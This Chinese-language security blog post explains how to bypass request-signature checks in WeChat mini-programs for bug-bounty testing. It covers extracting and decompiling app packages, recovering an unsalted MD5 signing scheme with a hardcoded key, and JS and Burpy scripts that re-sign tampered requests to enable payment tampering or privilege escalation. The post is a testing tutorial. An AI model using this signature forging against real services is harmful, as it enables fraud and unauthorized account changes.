小程序渗透小Tips绕过sign签名|挖洞技巧

admin 2025年3月3日09:26:57评论24 views字数 1975阅读6分35秒阅读模式

0x01 前言

       在进行小程序逻辑漏洞测试时,常常会遇到sign签名标识的问题。比如不知道sign的生成方式,仅修改参数值是无法改变sign值的,漏洞测试无法继续进行。此时需要绕过小程序的sign标识,然后进一步发现新的漏洞。

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo设为星标”,否则可能就看不到了啦!

末尾可领取挖洞资料文件

0x03 漏洞发现

获取代码包:

PC端:默认存储位置:(就是我们要找的加密包)

%USERPROFILE%DocumentsWeChat Filesid,APP_.wxapkg

移动端:

/data/data/com.tencent.mm/MicroMsg/xxxxxxxxxxxxxxxxxxxxxxxx/appbrand/pkg

解密代码包

解密后使用反编译工具进行源码提取:(需要其他反编译/解包工具可加星球获取)

小程序渗透小Tips绕过sign签名|挖洞技巧

反编译成功后,会在当前目录下生成一个 APP文件夹,这里面就是小程序源码。

可以使用微信小程序开发者工具打开:

小程序渗透小Tips绕过sign签名|挖洞技巧

sign签名绕过:

这里以某SRC小程序为例,在修改手机号处进行测试,观察到数据包如下:

小程序渗透小Tips绕过sign签名|挖洞技巧

当我们修改请求体中的数据(比如测试手机号越权时)再发送会提示签名失败,这时我们翻阅它的源码,看看这个sign是如何生成的:

小程序渗透小Tips绕过sign签名|挖洞技巧

整个 create_sign 函数的目的是将对象 r 的所有有效属性(除去某些特定属性)的所有内容按照键值对顺序排序、拼接成字符串并存储到数组 e,最后与传入的 t 参数连接起来进行MD5哈希运算,生成最终的签名。

按照上述请求包,最后得到的值是:

phone_num=15xxxxxxxx5&scene=1256&version=3.3.13d19e4abd1036063faa4218c139378c0e
小程序渗透小Tips绕过sign签名|挖洞技巧

返回值为

9a811d3130600d1399945346c59c0c07

可以发现是md5加密,未加盐。

编写js,引用该方法:

"use strict";var a = require("./md5.js");var i = {"phone_num":"15xxxxxxxx5","scene":1256,"version":"3.3.13""appid":648481988}i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");console.log(i);
小程序渗透小Tips绕过sign签名|挖洞技巧

burpy插件使用:

在分析加密方式后,如果是自己写脚本或通过网站加解密再粘贴到burp中进行测试,都十分麻烦。因此,可以考虑结合burpy插件来进行漏洞测试。

脚本编写:

defencrypt(self, header, body):'''    Auto Enc/Dec feature require this function    '''    enc_str = ''    json_body = json.loads(body)    json_body['sign'] = 'aaaaaaaaa'for key,value in json_body.items():if key notin ['sign''appid''imgupload''version']:            enc_str += key + '=' + str(value) + '&'    enc_str += 'version=' + str(json_body['version']) + 'd19e4abd1036063faa4218c139378c0e'    json_body['sign'] = self.md5_enc(enc_str)return header, json.dumps(json_body)defmd5_enc(self, data):    md5 = hashlib.md5()    md5.update(data.encode('utf-8'))    result = md5.hexdigest()return result

补充:此处代码还需要完善,因为enc_str涉及到排序的问题,可能需要多次测试来进行确定。

在Burpy PY file path:里面指定好你自己的python脚本。本身Burpy也提供了脚本模板,可以直接在它的脚本模板中进行修改

小程序渗透小Tips绕过sign签名|挖洞技巧

这里选择打开enable auto enc/dec会自动调用encrypt方法,在点击重放时自动进行加解密。

小程序渗透小Tips绕过sign签名|挖洞技巧

0x04 总结

  最后总结,小程序测试中碰到sign标识可以先测试是否无效或者是弱加密,如都不是可以尝试通过对源码分析找到sign的生成方式,可以应用在修改支付金额、越权等漏洞更进一步提升危害,将低风险漏洞升级为高危漏洞。喜欢的师傅可以点赞转发支持一下谢谢!

0x05

原文始发于微信公众号(渗透安全HackTwo):小程序渗透小Tips绕过sign签名|挖洞技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月3日09:26:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小程序渗透小Tips绕过sign签名|挖洞技巧https://cn-sec.com/archives/3786801.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息